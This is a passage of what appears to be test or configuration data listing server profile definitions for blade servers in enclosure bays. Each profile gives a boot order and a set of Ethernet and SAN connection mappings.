'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay8-BL660cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3988', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3988', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_34', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_34', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_35', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_35', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_36', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_36', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3987', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3987', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_37', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_37', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_38', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_38', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_39', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_39', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3986', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3986', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_40', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_40', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_41', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_41', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_42', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_42', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_43', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_43', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_44', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_44', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 1', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay1-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 2', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay2-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 3', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay3-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 4', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay4-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 5', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay5-BL420cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 6', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay6-BL420cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 7', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay7-BL420cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 8', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay8-BL420cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 9', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 